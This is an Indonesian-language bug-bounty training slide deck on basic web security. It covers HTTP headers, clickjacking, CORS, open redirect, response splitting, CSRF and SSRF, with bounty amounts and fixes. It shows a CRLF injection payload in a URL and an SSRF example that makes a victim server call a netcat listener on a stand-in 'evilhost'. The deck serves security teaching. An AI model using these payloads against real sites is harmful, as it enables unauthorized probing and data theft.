Anda di halaman 1dari 53

SOMETHING BIG

ZEROBYTE.ID START FROM


STAY KIDDIE STAY WANNABE 0 BYTE

A Presentation
Basic Web Security
for Bug Hunting
#0byteCircle Chapter 1

https://zerobyte.id/
https://www.facebook.com/idzerobyte
Basic Web Security
I. Introduction
A. HTTP Request & Response?
B. Status Code
II. HTTP Header
A. Header Request => Header Response
B. Cookie & Session
C. Gain BUGs from Header!
1. Cache-Control => Cache Misconfiguration
2. Lack of X-Frame-Options => Clickjacking Issue
3. CORS => CORS Misconfiguration
4. Open Redirect
5. HTTP Response Splitting
III. HTTP Method (GET & POST)
A. Other BUGs via Request
1. Cross-Site Request Forgery (CSRF)
2. Server-Side Request Forgery (SSRF)
???. Others
https://zerobyte.id/
https://www.facebook.com/idzerobyte
I. Introduction

Apa itu HTTP ?


HTTP adalah protokol transfer data
yang digunakan di World Wide Web
(WWW).

- Oxford Dictionary

https://zerobyte.id/
https://www.facebook.com/idzerobyte
I.A. HTTP Request - Response

HTTP Request yaitu dimana client mengirimkan sebuah request ke server,


kemudian server membaca apa yang dikirimkan oleh client melalui aplikasi web
server. Setelah itu server akan merespon dan terjadilah HTTP Response, yaitu
dimana server akan merespon permintaan yang telah dikirimkan oleh client.

https://zerobyte.id/
https://www.facebook.com/idzerobyte
I.B. HTTP Status Code

HTTP </status>
Status Code Category Example

> 200 Success 200

> 300 Redirection 301, 302

> 400 Client Error 400, 403, 404

> 500 Server Error 500, 503

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II. HTTP Header

> GET / HTTP/1.1


> Host: google.com
> User-Agent: curl/7.58.0
> Accept: */*

< HTTP/1.1 301 Moved Permanently


< Location: http://www.google.com/
< Content-Type: text/html;

HTTP Header adalah bagian awal (inti) dari request dan response pada
HTTP, dan HTTP Header membawa informasi tentang response dari Server dan
apa yang di-request oleh Client.

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.A. HTTP Header (Request & Response)
Header Header
Request Response

Client Side Server Side

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.B. Cookie & Session

Cookie adalah sebuah data yang dimiliki oleh Client. Pada Web Application
cookie biasanya tersimpan pada HTTP Header.

Session adalah fasilitas pada sebuah aplikasi guna untuk mengidentifikasi


User. Pada Web Application biasanya Session penggunanya akan divalidasi
melewati Cookie.
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C. Gain BUGs from Header!

Let's Bug Hunting


from Analyzing Header!
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.1. Cache-Control

Cache-Control adalah salah satu bagian header yang umumnya


digunakan untuk menentukan mekanisme Caching baik dalam request
maupun response.

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.1. Cache Misconfiguration

Contoh “Cache” yang tidak rentan

Keterangan:
Setelah “logout” kemudian tekan
tombol back pada browser halaman tidak
seperti semula.

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.1. Cache Misconfiguration

Contoh “Cache” yang rentan

Keterangan:
Setelah “logout” kemudian tekan
tombol back pada browser halaman
me-load cache, sehingga tampil seperti
semula karena tidak adanya proteksi.

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.1. Cache Misconfiguration
Bounty?
Severity: LOW (Point - $50)

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.1. Cache Misconfiguration
How to Fix?

Tambahkan Header
● Cache-Control:
○ no-store (penting!)
○ no-cache
○ must-revalidate

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.2. Lack of X-Frame-Options

Header response X-Frame-Options dapat digunakan untuk


menunjukkan apakah browser harus diizinkan membuat halaman
dalam <frame>, <iframe>, <embed> atau <object>.

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.2. Lack of X-Frame-Options
Contoh website yang menggunakan header X-Frame-Options

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.2. Lack of X-Frame-Options
Contoh website yang tidak menggunakan header X-Frame-Options

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.2. Lack of X-Frame-Options

Loh (?)
Cuma dimasukin kedalam
<iframe> gitu apa bahayanya?

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.2. Lack of X-Frame-Options
Jawabannya: bisa kita lakukan Clickjacking!
Clickjacking adalah sebuah jenis serangan
"session based" namun tidak melewati situs
aslinya, contoh penyerangannya yaitu dengan
cara menyuruh korbannya melakukan "klik"
pada halaman palsu, namun ternyata di
belakang halaman palsu tersebut terdapat
halaman asli (korban tidak mengetahui action
yang sebenarnya).

Tapi!
Tidak semua website yang tidak ada "X-Frame-Options"
itu rentan "Clickjacking"
Clickjacking dapat dilakukan bilamana ada "action" yang
berbahaya.

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.2. Lack of X-Frame-Options
Clickjacking POC (by Abaykan.com)

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.2. Lack of X-Frame-Options
Bounty? Severity: Medium-High (Up to $7500)

http://apapedulimu.click

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.2. Lack of X-Frame-Options

Hot to Fix?
Tambahkan header response
- X-Frame-Options
Untuk membatasi penggunaan frame dari luar website.

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.3. Cross-Origin Resource Sharing

Cross-Origin Resource Sharing (CORS) adalah mekanisme yang


memungkinkan website A berbagi sumber daya dengan website B,
dimana sumber daya tersebut dibagi berdasarkan “Session”.
Biasanya website B mengambil sumber daya pada website A
menggunakan JavaScript.
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.3. CORS Misconfiguration

Source:
https://medium.com/@arifmukhlis/mencuri-data-pengguna-tokopedia-bug-bounty-52e86fa4c44e

Terdapat beberapa website yang CORS-nya terdapat miskonfigurasi


sehingga dapat dimanfaatkan oleh Attacker untuk pencurian data
lewat situs lain yang melakukan request ke situs target.

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.3. CORS Misconfiguration
Bounty?
Severity: Medium (Up to $1000)

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.3. CORS Misconfiguration

How to Fix?
Batasi pada
- Access-Control-Allow-Origin

Atau daftarkan situs-situs terpercaya saja pada


Access-Control-Allow-Origin.

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.4. Open-Redirect

Open-Redirect adalah kerentanan yang memungkinkan Attacker


untuk mengarahkan pengunjung dari situs terpercaya ke situs
berbahaya seperti phising tanpa autentikasi dari situs yang terpercaya
tersebut.

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.4. Open-Redirect
Bounty?
Severity: Medium (Up to $1120)

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.4. Open-Redirect

How to Fix?
Perbaiki parsing untuk redirection dengan sebaik mungkin supaya
hanya redirect ke situs terkait saja.

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.5. HTTP Response Splitting

HTTP Response Splitting adalah sebuah kerentanan yang


memungkinkan Attacker untuk memanipulasi response melalui request
pada sebuah website.

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.5. HTTP Response Splitting

HTTP Response Splitting terjadi karena terjadi kesalahan parsing


request ke dalam response, biasanya terjadi karena CRLF terbaca
sebagai Newline bukan terbaca sebagai character, kemudian website
me-response Newline tersebut sehingga menciptakan Header
Response baru.

ASCII URL-encoding Description

\r %0d CR

\n %0a LF

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.5. HTTP Response Splitting
Example :
https://vulnweb.com/redirect=hello%0D%0Ahell:%20world

* Request:
> GET /redirect=hello%0D%0Ahell:%20world HTTP/1.1
> Host: vulnweb.com
> User-Agent: Mozilla/5.0 (Linux; Android 7.1.2)
> Accept: */*

* Response:
< HTTP/1.1 301 Moved Permanently
< Location: /hello
< hell: world
< Content-Type: text/html;

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.5. HTTP Response Splitting
Bounty?
Severity: HIGH (Up to $2500)

https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.5. HTTP Response Splitting

How to Fix?
- Encode character CRLF
- Update web-server dengan versi terbaru (Apache, Nginx, DLL)

https://zerobyte.id/
https://www.facebook.com/idzerobyte
III. HTTP Request Method

HTTP Request Method adalah sebuah metode pada HTTP untuk


menghubungkan/komunikasi antara User dengan Backend.

Contohnya:
● Login akun yang membutuhkan validasi pada Backend
● Pencarian pada website dimana backend mengambil data artikel
pada database
https://zerobyte.id/
https://www.facebook.com/idzerobyte
III. HTTP Request Method
HTTP Method GET vs POST
> GET /?cari=Buku HTTP/1.1 > POST /login.php HTTP/1.1
> Host: google.com > Host: google.com
> User-Agent: Mozilla/5.0 (Linux) > User-Agent: Mozilla/5.0 (Linux)
> Accept: */* > Accept: */*
user=admin&pass=12345

Method Description

GET Parameter dan value terdapat pada URL

POST Parameter dan value terdapat pada Body

https://zerobyte.id/
https://www.facebook.com/idzerobyte
III. HTTP Request Method

Let's Bug Hunting


Again!
https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.1. CSRF Attack

acunetix.com

Cross-Site Request Forgery (CSRF) Attack adalah sebuah serangan


dimana Attacker dapat mengendalikan Session korban pada sebuah Web
Application (dengan aplikasi palsu) untuk melakukan Action tertentu. CSRF
Attack sendiri memiliki nama lain, yaitu “Session Riding”.

https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.1. CSRF Attack (Schema)

on
e ssi
S

https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.1. CSRF Attack

Yaelah!
Itu mah mainan lama.

Emang masih ada yang bisa ditipu


Pake model begituan?

https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.1. CSRF Attack

https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.1. CSRF Attack

Kenapa sih CSRF bisa terjadi?

https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.1. CSRF Attack

● CSRF Attack dapat dilakukan bilamana terdapat suatu form yang tidak
memiliki Request Token
● Token tersebut berguna untuk validasi suatu request (1 token biasanya
dapat digunakan untuk 1 kali request)

https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.1. CSRF Attack
Bounty?
Severity: Medium (Up to $500)

https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.2. SSRF Attack

http://hek.0xff.web.id

Server-Side Request Forgery (SSRF) adalah sebuah serangan dimana


Server dibuat untuk melakukan request kepada Attacker baik itu internal
server itu sendiri (127.0.0.1) maupun external (evil.com), setelah itu Server
akan mengembalikan response yang berisi data hasil dari yang request oleh
Attacker.

https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.2. SSRF Attack (example)

me@evilhost:~$ nc -lvp 1337


listening on [any] 1337 ...

Browser: http://servervictim.com/open?src=http://evilhost:1337/SSRF

me@evilhost:~$ nc -lvp 1337


listening on [any] 1337 ...
connect to [evilhost] from servervictim.com [55.44.33.222]
GET /SSRF HTTP/1.1
User-Agent: curl OwO
Accept: */*
Connection: close
Host: evilhost:1337

https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.2. SSRF Attack
SSRF dapat dimanfaatkan untuk:
● General:
○ Mendapatkan Real IP (bilamana menggunakan DNS masking
seperti Cloudflare)
○ Proxy (Request)
○ Mendapatkan versi Aplikasi Internal (beberapa kasus)
● Server-Side Injection:
○ Read Local File
○ Local Port Scanning
○ Pemanfaatan Service Internal (MySQL, SMTP, dll)
○ Remote Code Execution (beberapa kasus)
○ Dan lain-lain

https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.2. SSRF Attack
Bounty?
Severity: Medium-Critical (Up to $25000)

https://zerobyte.id/
https://www.facebook.com/idzerobyte
???. Tambahan Tentang Bug Bounty

OTHER
https://zerobyte.id/
https://www.facebook.com/idzerobyte
???. Other Vulnerability

● Remote Code Execution (RCE)


● Command Injection
● Local File Inclusion (LFI)
● Remote File Inclusion (RFI)
● XML External Entity Injection (XXE)
● SQL Injection
● Cross-Site Scripting (XSS)
● Insecure Direct Object Reference (IDOR)
● Dan lain-lain

Kalian dapat lihat list Vulnerability untuk Bug Bounty pada link berikut ini:
https://bugcrowd.com/vulnerability-rating-taxonomy/1.7

https://zerobyte.id/
https://www.facebook.com/idzerobyte
???. Bug Bounty Tools

Usability Tools

Subdomain Enumeration Sublist3r / Aquatone / Knockpy

Directory Enumeration Dirsearch / Dirbuster

Web Vulnerability Scanner Acunetix / Nikto / Bashter

Request Interception (Proxy) BurpSuite / ZA Proxy / Tamper Data

HTTP Debugger HTTP Header / Debugger (F12)

https://zerobyte.id/
https://www.facebook.com/idzerobyte
???. Bug Bounty Platform

● https://www.cyberarmy.id/ (Indonesia)
● https://www.redstorm.io/ (Indonesia)
● https://www.antihack.me/ (Singapore)
● https://www.bugcrowd.com/ (World-wide)
● https://www.hackerone.com/ (World-wide)
● https://www.openbugbounty.org/ (World-wide)

https://zerobyte.id/
https://www.facebook.com/idzerobyte
#EOF

THANK
YOU!
https://zerobyte.id/
https://www.facebook.com/idzerobyte

Anda mungkin juga menyukai